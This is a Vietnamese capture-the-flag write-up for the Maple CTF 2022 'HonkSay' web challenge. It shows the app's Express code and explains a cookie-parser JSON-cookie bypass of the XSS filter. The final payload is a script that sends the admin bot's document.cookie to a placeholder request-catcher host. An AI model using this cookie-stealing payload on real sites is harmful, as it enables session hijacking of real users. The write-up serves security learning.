# \[Maple CTF 2022] Writeup Web

## HonkSay

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FHXTKUQe3HFDaL3Es9gtA%2Fimage.png?alt=media&#x26;token=486950b7-ca58-4c67-bf78-d715247fb3d6" alt=""><figcaption></figcaption></figure>

Bài này mình nhìn vào interface thì mình đoán nó là lỗ hổng XSS&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FfbHgxoK7nzSw6NbkmmoG%2Fimage.png?alt=media&#x26;token=2af11e4f-02c2-46e1-aeef-8942b73cc4bd" alt=""><figcaption></figcaption></figure>

Mình thấy cookie khi thay  đổi giá trị của honkcount thì có thể thay đổi giá trị ở dưới và nó có lỗ hổng XSS&#x20;

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FumQTAG3ZHgeSTz9rb1g7%2Fimage.png?alt=media&#x26;token=1d312a95-3b92-47f3-b246-b8d49af6a8a4" alt=""><figcaption></figcaption></figure>

Nhưng sau khi report không có gì trả về mình mới quyết định đọc code của đề cho:

{% code overflow="wrap" %}

```javascript
const express = require("express");
const cookieParser = require('cookie-parser');
const goose = require("./goose");
const clean = require('xss');

const app = express();
app.use(cookieParser());
app.use(express.urlencoded({ extended: false }));

const PORT = process.env.PORT || 9988;

const headers = (req, res, next) => {
    res.setHeader('X-Frame-Options', 'DENY');
    res.setHeader('X-Content-Type-Options', 'nosniff');
    return next();
}
app.use(headers);
app.use(express.static('public'))

const template = (goosemsg, goosecount) => `
<html>
<head>
<style>
H1 { text-align: center }
.center {
    display: block;
    margin-left: auto;
    margin-right: auto;
    width: 50%;
  }

  body {
    place-content:center;
    background:#111;
  }
  
    input, select, textarea{
    color: #000;
}

  * {
    color:white;
  }

</style>
</head>
${goosemsg === '' ? '' : `<h1> ${goosemsg} </h1>`}
<img src='/images/goosevie.png' width='400' height='700' class='center'></img>
${goosecount === '' ? '' : `<h1> You have honked ${goosecount} times today </h1>`}

<form action="/report" method=POST style="text-align: center;">
  <label for="url">Did the goose say something bad? Give us feedback.</label>
  <br>
  <input type="text" id="site" name="url" style-"height:300"><br><br>
  <input type="submit" value="Submit" style="color:black">
</form>
</html>
`;


app.get('/', (req, res) => {
    if (req.cookies.honk) {
        //construct object
        let finalhonk = {};
        if (typeof (req.cookies.honk) === 'object') {
            finalhonk = req.cookies.honk
        } else {
            finalhonk = {
                message: clean(req.cookies.honk),
                amountoftimeshonked: req.cookies.honkcount.toString()
            };
        }
        res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));
    } else {
        const initialhonk = 'HONK';
        res.cookie('honk', initialhonk, {
            httpOnly: true
        });
        res.cookie('honkcount', 0, {
            httpOnly: true
        });
        res.redirect('/');
    }
});

app.get('/changehonk', (req, res) => {
    res.cookie('honk', req.query.newhonk, {
        httpOnly: true
    });
    res.cookie('honkcount', 0, {
        httpOnly: true
    });
    res.redirect('/');
});

function isValidUrl(msg){
    //https://stackoverflow.com/questions/5717093/check-if-a-javascript-string-is-a-url
    var res = msg.match(/(http(s)?:\/\/.)?(www\.)?[-a-zA-Z0-9@:%._\+~#=]{2,256}\.[a-z]{2,6}\b([-a-zA-Z0-9@:%_\+.~#?&//=]*)/g);
    if (msg.indexOf('http://localhost:9988') !== -1){
      return true
    }
    return (res!=null);
  }

app.post('/report', (req, res) => {
    if (isValidUrl(req.body.url)){
        const url = req.body.url;
        goose.visit(url);
        res.send('honk');
    } else {
        res.send("honk (bad url)");
    }
});

app.get('/health', (req, res) => {
    res.send('healthyhonk')
})

app.listen(PORT, () => console.log((new Date()) + `: Web/honksay server listening on port ${PORT}`));

```

{% endcode %}

Sau khi đọc code mình nhận ra rằng: Bot sẽ chỉ gửi về cookie chứa key là honk -> phải khai thác được XSS ở honk:

```javascript
app.post('/report', (req, res) => {
    if (isValidUrl(req.body.url)){
        const url = req.body.url;
        goose.visit(url);
        res.send('honk');
    } else {
        res.send("honk (bad url)");
    }
});
```

```javascript
app.get('/changehonk', (req, res) => {
    res.cookie('honk', req.query.newhonk, {
        httpOnly: true
    });
    res.cookie('honkcount', 0, {
        httpOnly: true
    });
    res.redirect('/');
});
```

Ở đây khi vào /changehonk sẽ lấy `newhonk` và hiển thị ra nếu mình thay dổi sau đó httpOnly set là true từ đây cookie sẽ được bảo vệ nhưng khi đoạn code này.

```javascript
const template = (goosemsg, goosecount) => `
<html>
<head>
<style>
H1 { text-align: center }
.center {
    display: block;
    margin-left: auto;
    margin-right: auto;
    width: 50%;
  }

  body {
    place-content:center;
    background:#111;
  }
  
    input, select, textarea{
    color: #000;
}

  * {
    color:white;
  }

</style>
</head>
${goosemsg === '' ? '' : `<h1> ${goosemsg} </h1>`}
<img src='/images/goosevie.png' width='400' height='700' class='center'></img>
${goosecount === '' ? '' : `<h1> You have honked ${goosecount} times today </h1>`}

<form action="/report" method=POST style="text-align: center;">
  <label for="url">Did the goose say something bad? Give us feedback.</label>
  <br>
  <input type="text" id="site" name="url" style-"height:300"><br><br>
  <input type="submit" value="Submit" style="color:black">
</form>
</html>
`;


app.get('/', (req, res) => {
    if (req.cookies.honk) {
        //construct object
        let finalhonk = {};
        if (typeof (req.cookies.honk) === 'object') {
            finalhonk = req.cookies.honk
        } else {
            finalhonk = {
                message: clean(req.cookies.honk),
                amountoftimeshonked: req.cookies.honkcount.toString()
            };
        }
        res.send(template(finalhonk.message, finalhonk.amountoftimeshonked));
    } else {
    //Nếu không có value thì tự set mặc định honk:HONK
        const initialhonk = 'HONK';
        res.cookie('honk', initialhonk, {
            httpOnly: true
        });
        res.cookie('honkcount', 0, {
            httpOnly: true
        });
        res.redirect('/');
    }
});
```

`Ở đây có một template literals ở đây có truyền vào 2 tham số đó là goosemsg và goosecount - ở đây có sử dụng toán tử 3 ngôi nếu có goosemsg==='' thì gán '' nếu không gán ${goosmsg}` đọc tới đoạn code dưới thì nếu `req.cookies.honk` có tồn tại hay không, nghĩa là giá trị cookie với key là `honk` có tồn tại hay không, nếu có thì nó so sánh tiếp `req.cookies.honk` liệu có phải là object hay không nếu có thì finalhonk sẽ được gán `req.cookies.honk`. Tiếp theo  nếu không có giá trị thì finalhonk là một object có key: `message` và `amountoftimeshonked-> ở đây message bị xóa nên không thể xss`

Cuối cùng để *sử dụng cookie trong express thì trang web dùng* middleware có tên cookie-parser, ở module này hỗ trợ Json Cookie có `j:JSON.parse-> cuối cùng chúng ta cần cho req.cookies.honk là một object lúc này sẽ xss thành công vì không bị lọc()`

Payload lúc này sẽ là:

{% code overflow="wrap" %}

```json
/changehonk?newhonk=j:{"message":"<script>document.location="IP-REQUEST?cookie="+document.cookie</script>", "amountoftimeshonked":"1"}
```

{% endcode %}

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FtIqlKRVhigileqTgfxo2%2Fimage.png?alt=media&#x26;token=42279b7d-8302-43cb-9d79-33fc00b156d3" alt=""><figcaption></figcaption></figure>

Gửi nó cho admin.....

<figure><img src="https://893723753-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FCEugX4l1Pmpz8WohSnTR%2Fuploads%2FBDJ2utFbp5inMZrbi3cQ%2Fimage.png?alt=media&#x26;token=95119413-ea33-4fa6-be02-487d8198c21b" alt=""><figcaption></figcaption></figure>

Flag: `maple{g00segoHONK}`

## .... <a href="#pickle-factory-66-solves" id="pickle-factory-66-solves"></a>
